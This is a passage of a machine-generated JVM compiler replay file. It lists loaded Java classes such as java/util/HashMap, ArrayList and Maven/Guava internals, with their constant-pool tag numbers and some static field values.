1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 100 12 12 100 12 12 12 12 12 1 12 12 12 12 12 12 100 12 12 12 12 12 12 100 12 12 12 12 12 12 12 1 12 12 1 1 12 1 12 1 1 12 12 12 12 100 12 1 1 12 1 12 1 1 12 12 1 1 12 12 12 12 12 12 1 1 12 1 1 1 1 1 1 12 12 12 12 12 12 100 12 1 1 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Long TYPE Ljava/lang/Class; java/lang/Class\nciInstanceKlass java/lang/NullPointerException 1 1 26 10 10 100 7 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/lang/ArithmeticException 1 1 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/util/Collection 1 1 115 11 100 11 10 11 11 11 11 11 10 11 10 7 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 1 12 100 12 12 12 12 100 12 12 7 12 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Set 1 1 138 100 10 10 7 10 10 7 7 10 100 100 100 10 10 11 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 7 12 1 1 1 12 12 1 1 1 12 1 1 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/concurrent/ConcurrentLinkedDeque\ninstanceKlass java/util/EnumMap$Values\ninstanceKlass java/util/WeakHashMap$Values\ninstanceKlass com/sun/tools/javac/util/List\ninstanceKlass java/util/AbstractMap$2\ninstanceKlass org/eclipse/sisu/inject/MildElements\ninstanceKlass org/eclipse/sisu/inject/MildValues$1\ninstanceKlass com/google/common/collect/AbstractMapBasedMultimap$WrappedCollection\ninstanceKlass com/google/common/collect/Maps$Values\ninstanceKlass com/google/common/collect/AbstractMultimap$Values\ninstanceKlass java/util/TreeMap$Values\ninstanceKlass com/google/common/collect/ImmutableCollection\ninstanceKlass java/util/IdentityHashMap$Values\ninstanceKlass java/util/AbstractQueue\ninstanceKlass java/util/LinkedHashMap$LinkedValues\ninstanceKlass java/util/HashMap$Values\ninstanceKlass java/util/ArrayDeque\ninstanceKlass java/util/AbstractList\ninstanceKlass java/util/AbstractSet\ninstanceKlass java/util/ImmutableCollections$AbstractImmutableCollection\nciInstanceKlass java/util/AbstractCollection 1 1 173 100 10 10 10 11 11 10 7 10 10 10 10 10 7 10 7 3 10 100 8 10 3 100 10 11 11 10 10 10 11 8 7 10 10 8 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 1 100 12 12 12 7 12 7 12 100 12 1 12 1 1 12 1 12 12 12 7 12 1 1 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/apache/maven/project/DefaultProjectBuilder$1\ninstanceKlass java/util/Collections$SingletonMap\ninstanceKlass org/eclipse/sisu/wire/EntryMapAdapter\ninstanceKlass com/google/common/collect/Maps$ViewCachingAbstractMap\ninstanceKlass com/google/common/collect/MapMakerInternalMap\ninstanceKlass org/eclipse/sisu/wire/MergedProperties\ninstanceKlass com/google/common/cache/LocalCache\ninstanceKlass java/util/EnumMap\ninstanceKlass java/util/TreeMap\ninstanceKlass java/util/IdentityHashMap\ninstanceKlass java/util/WeakHashMap\ninstanceKlass java/util/ImmutableCollections$AbstractImmutableMap\ninstanceKlass java/util/Collections$EmptyMap\ninstanceKlass sun/util/PreHashedMap\ninstanceKlass java/util/concurrent/ConcurrentHashMap\ninstanceKlass java/util/HashMap\nciInstanceKlass java/util/AbstractMap 1 1 192 10 10 11 10 11 11 11 7 11 10 11 100 10 11 11 10 11 9 7 10 9 7 10 7 11 11 11 100 100 11 8 7 10 10 8 10 10 10 7 7 100 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 100 100 12 12 12 12 12 12 1 12 12 12 1 12 12 12 12 1 12 12 1 1 12 12 1 1 12 1 1 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass com/sun/tools/javac/comp/CompileStates\ninstanceKlass org/apache/maven/artifact/versioning/ManagedVersionMap\ninstanceKlass java/lang/ProcessEnvironment\ninstanceKlass java/util/LinkedHashMap\nciInstanceKlass java/util/HashMap 1 1 573 10 7 10 100 10 100 11 11 11 10 7 3 10 100 100 10 8 10 10 10 10 10 8 10 9 10 9 4 10 10 11 9 4 10 11 11 11 11 7 11 11 10 10 9 10 9 9 9 10 9 7 10 10 10 10 10 9 10 7 3 7 10 10 9 9 10 10 10 10 9 7 10 9 7 10 9 7 10 100 10 11 100 10 11 11 10 100 100 10 10 10 10 10 10 10 100 10 10 8 4 10 4 10 4 10 100 11 10 10 10 10 7 7 100 100 1 1 100 1 100 1 100 1 100 1 100 1 100 1 100 1 100 1 1 1 1 1 1 1 1 5 0 1 1 3 1 1 1 1 3 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 12 1 12 1 12 1 12 12 12 12 1 12 1 1 1 12 12 12 12 7 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 12 1 12 12 1 12 1 1 12 1 12 12 12 1 1 12 12 12 12 12 12 12 1 12 1 100 12 12 100 12 1 100 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Map$Entry 1 0 167 18 100 100 18 10 18 18 10 10 8 10 8 8 8 10 10 8 10 10 8 10 8 10 8 10 8 10 8 100 8 10 11 11 11 100 11 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 15 16 15 16 3 3 12 1 1 15 100 12 15 12 15 100 12 12 12 12 12 12 1 12 1 12 1 12 12 1 1 12 12 12 12 1 12 1 1 1 10 11 11 1 1 11 11 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 1 1 100 1 1 100 1 1\nciInstanceKlass java/util/Arrays 1 1 1057 10 100 100 10 8 10 10 8 8 10 10 100 10 10 10 10 10 10 10 10 10 7 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 100 10 10 9 10 100 10 10 10 100 10 10 7 9 10 10 10 10 10 10 7 11 10 10 10 10 10 10 10 10 11 10 100 10 10 100 10 10 100 10 10 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 10 10 8 7 10 10 10 10 9 100 10 9 100 10 9 100 10 9 100 10 9 100 10 9 100 10 9 100 10 100 10 10 9 100 10 10 10 10 10 10 10 10 10 10 10 8 8 10 10 8 10 10 10 10 100 3 10 100 10 10 11 10 10 10 10 10 10 10 10 10 11 8 10 11 11 11 11 18 11 11 18 11 18 11 18 100 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 1 1 1 7 1 100 1 1 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 1 12 12 1 1 12 12 1 12 100 12 12 12 12 12 12 12 12 1 100 12 100 1 1 1 12 12 100 1 1 12 100 1 1 12 100 1 1 12 100 1 1 12 100 1 1 12 100 1 1 12 12 7 12 100 1 1 12 12 7 12 12 12 12 7 12 100 12 12 12 12 1 12 12 7 12 12 12 100 12 12 12 12 7 12 100 1 1 12 1 1 12 1 1 12 1 1 12 12 12 12 12 12 12 100 12 12 100 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 7 12 12 1 1 12 12 12 12 100 12 12 12 100 12 100 12 100 12 100 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 1 1 12 12 1 12 12 12 100 12 1 1 12 100 12 12 12 12 12 12 12 12 12 12 12 1 12 7 12 100 12 12 1 15 16 15 12 12 100 12 15 12 100 12 15 12 100 12 15 12 1 7 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 10 10 1 1 1 1 1 1 1 10 1 1 1 1 10 1 1 1 1 10 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 1 1 100 1 1 100 1 1\nstaticfield java/util/Arrays $assertionsDisabled Z 1\nciInstanceKlass java/lang/Math 1 1 381 10 10 10 10 10 10 10 7 6 0 6 0 10 10 10 10 10 10 10 10 10 10 10 10 100 3 3 3 10 100 5 0 5 0 5 0 5 0 5 0 9 10 100 8 10 8 10 10 100 5 0 5 0 100 3 5 0 3 5 0 10 10 10 9 9 10 7 6 0 10 9 100 10 10 100 10 10 10 10 10 10 6 0 10 10 10 10 7 4 10 10 10 10 10 10 10 10 10 10 10 5 0 6 0 4 6 0 4 6 0 4 10 9 10 9 10 4 6 0 100 100 1 1 1 1 1 6 0 1 6 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 100 12 1 1 12 1 12 12 1 1 12 12 12 12 12 12 1 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/Math negativeZeroFloatBits J -2147483648\nstaticfield java/lang/Math negativeZeroDoubleBits J -9223372036854775808\nstaticfield java/lang/Math $assertionsDisabled Z 1\ninstanceKlass java/util/LinkedHashMap$Entry\nciInstanceKlass java/util/HashMap$Node 1 1 95 10 9 9 9 9 100 10 10 8 10 10 10 100 11 10 11 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 12 1 12 1 12 12 7 12 100 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/List 1 1 212 10 11 11 11 11 11 11 10 7 100 10 100 10 10 7 10 10 7 7 10 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 100 12 12 12 100 12 1 100 1 1 1 12 1 7 12 7 12 1 1 12 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass com/sun/tools/javac/model/FilteredMemberList\ninstanceKlass org/eclipse/aether/util/graph/visitor/Stack\ninstanceKlass org/apache/maven/model/merge/ModelMerger$MergingList\ninstanceKlass java/util/ArrayList$SubList\ninstanceKlass sun/security/jca/ProviderList$3\ninstanceKlass com/google/common/collect/Lists$TransformingRandomAccessList\ninstanceKlass java/util/Collections$SingletonList\ninstanceKlass java/util/AbstractSequentialList\ninstanceKlass java/util/Arrays$ArrayList\ninstanceKlass java/util/Vector\ninstanceKlass java/util/ArrayList\ninstanceKlass java/util/Collections$EmptyList\nciInstanceKlass java/util/AbstractList 1 1 218 10 9 10 10 100 10 10 11 11 11 10 10 11 11 11 10 10 11 11 11 7 10 7 10 10 100 100 10 100 10 100 100 10 8 10 10 10 10 8 100 8 8 8 10 100 11 10 10 11 10 8 8 7 7 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 12 12 12 12 12 12 12 12 12 12 12 100 12 1 12 1 12 12 1 1 12 1 1 1 1 12 12 12 12 1 1 1 1 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/Iterator 1 1 53 100 8 10 10 11 11 11 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 7 12 12 12 7 12 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/io/ExpiringCache$1\nciInstanceKlass java/util/LinkedHashMap 1 1 280 9 9 9 9 10 7 10 10 9 9 9 10 7 10 10 10 10 9 9 10 10 10 10 10 10 10 10 9 10 9 7 10 9 7 10 9 7 10 100 10 11 100 10 11 7 7 100 100 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 1 12 12 12 12 12 12 1 12 12 12 12 12 100 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 1 1 7 12 1 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/ImmutableCollections$List12 1 1 85 10 10 9 9 10 100 8 10 100 100 10 7 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 100 12 7 12 12 12 12 1 1 12 1 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass org/apache/maven/artifact/versioning/ComparableVersion$ListItem\ninstanceKlass org/eclipse/sisu/bean/BeanScheduler$Pending\nciInstanceKlass java/util/ArrayList 1 1 500 100 10 7 9 9 100 100 10 8 10 10 10 10 9 11 9 10 7 10 9 10 7 10 10 10 100 10 3 10 3 10 10 10 10 10 100 100 10 10 10 10 10 10 10 10 7 10 10 10 100 10 11 11 11 10 10 10 100 10 10 10 10 8 8 8 8 10 10 11 100 10 10 10 10 10 10 11 10 100 8 10 7 10 7 10 10 7 10 10 11 7 10 10 11 10 10 10 10 11 10 7 100 100 100 1 1 1 1 1 1 1 1 5 0 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 1 12 1 12 12 1 1 1 12 12 12 12 12 12 12 12 7 12 12 12 1 12 12 7 12 1 12 12 12 12 12 12 1 1 12 7 12 7 12 12 12 12 12 12 1 12 12 12 1 12 12 12 12 12 12 1 12 12 12 1 1 1 1 12 12 12 1 100 12 12 12 100 12 12 100 12 100 12 12 1 1 1 12 1 12 12 1 12 12 12 1 12 12 7 12 12 12 12 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/ArrayList EMPTY_ELEMENTDATA [Ljava/lang/Object; 0 [Ljava/lang/Object;\nstaticfield java/util/ArrayList DEFAULTCAPACITY_EMPTY_ELEMENTDATA [Ljava/lang/Object; 0 [Ljava/lang/Object;\nciInstanceKlass java/util/ImmutableCollections$ListN 1 1 93 10 7 10 9 10 100 8 10 100 10 7 10 9 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 1 1 1 1 100 12 1 7 12 12 12 1 1 12 1 12 1 12 12 1 1 1 1 1 1 1 1 1 1\nstaticfield java/util/ImmutableCollections$ListN EMPTY_LIST Ljava/util/List; java/util/ImmutableCollections$ListN\ninstanceKlass java/util/HashMap$TreeNode\nciInstanceKlass java/util/LinkedHashMap$Entry 1 1 41 10 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 1 100 1 1 1\ninstanceKlass java/util/ArrayList$ListItr\nciInstanceKlass java/util/ArrayList$Itr 1 1 103 9 10 9 9 9 9 9 10 100 10 9 100 10 100 10 10 100 10 10 11 7 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 12 12 12 12 12 1 12 1 1 12 1 100 12 12 100 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/HashMap$EntrySet 1 1 133 9 10 9 10 7 10 100 11 10 10 10 11 10 100 10 100 10 9 9 11 9 100 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 1 1 1 1 1 100 12 12 12 12 1 1 12 100 1 12 12 12 12 12 12 1 1 12 1 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/HashMap$EntryIterator 1 1 50 9 10 10 10 7 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 1 1 100 1 1 1 100 1 1 1 1\nciInstanceKlass jdk/internal/loader/URLClassPath$JarLoader 1 1 547 7 7 8 8 7 10 10 8 10 10 10 10 9 9 9 9 9 10 9 10 8 10 10 7 10 10 100 10 100 10 9 9 11 8 10 10 10 7 10 10 100 10 10 7 7 10 100 10 10 10 10 8 10 10 8 9 10 100 10 100 10 9 10 10 10 10 100 100 7 10 10 10 10 11 11 100 10 10 10 10 10 7 10 10 10 10 7 10 100 10 10 7 100 10 10 10 10 11 10 100 8 10 10 11 10 10 9 10 10 100 10 10 10 10 9 10 10 100 9 10 10 10 10 10 10 10 8 10 100 9 9 8 8 10 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 1 12 7 12 1 12 1 7 12 12 12 100 12 1 12 12 12 1 12 1 12 1 1 1 12 12 12 12 1 12 12 1 12 100 12 1 12 1 12 12 12 12 7 12 12 1 1 1 12 12 12 12 12 12 1 12 12 12 12 12 1 12 12 12 1 12 100 12 100 12 1 1 12 12 12 12 12 12 1 1 7 12 7 12 12 100 12 100 12 100 12 12 1 12 12 12 12 12 100 12 12 12 100 12 12 12 12 12 1 12 1 12 12 1 1 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1\nstaticfield jdk/internal/loader/URLClassPath$JarLoader zipAccess Ljdk/internal/misc/JavaUtilZipFileAccess; java/util/zip/ZipFile$1\ninstanceKlass java/nio/file/ReadOnlyFileSystemException\ninstanceKlass com/google/common/cache/CacheLoader$UnsupportedLoadingOperationException\nciInstanceKlass java/lang/UnsupportedOperationException 0 0 34 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\nciInstanceKlass java/util/LinkedHashMap$LinkedValues 1 1 101 9 10 9 10 7 10 10 100 10 100 10 9 9 9 11 9 100 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 12 12 12 12 1 1 12 12 1 7 12 1 12 12 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/util/LinkedHashMap$LinkedEntryIterator\ninstanceKlass java/util/LinkedHashMap$LinkedKeyIterator\ninstanceKlass java/util/LinkedHashMap$LinkedValueIterator\nciInstanceKlass java/util/LinkedHashMap$LinkedHashIterator 1 1 89 9 10 9 9 9 9 9 100 10 100 10 9 100 10 9 9 10 7 7 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 7 12 12 12 12 12 12 12 1 1 12 1 12 12 12 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/LinkedHashMap$LinkedValueIterator 1 1 46 9 10 10 9 7 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 7 12 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass org/codehaus/plexus/util/xml/Xpp3Dom 1 1 371 7 10 9 7 10 9 10 9 10 10 10 10 10 10 10 10 10 10 10 10 9 9 11 9 11 11 100 11 7 10 11 100 8 10 8 7 10 11 11 11 11 11 11 10 10 11 11 9 11 7 10 10 11 11 11 10 11 11 9 100 10 10 10 100 8 8 10 10 10 11 10 8 8 10 11 11 7 8 10 10 11 11 10 11 11 100 10 100 8 10 10 10 10 10 7 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 8 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 1 100 12 12 1 1 1 1 12 7 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 1 12 100 12 12 1 1 1 12 12 12 1 1 12 12 12 1 1 12 12 12 1 1 1 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 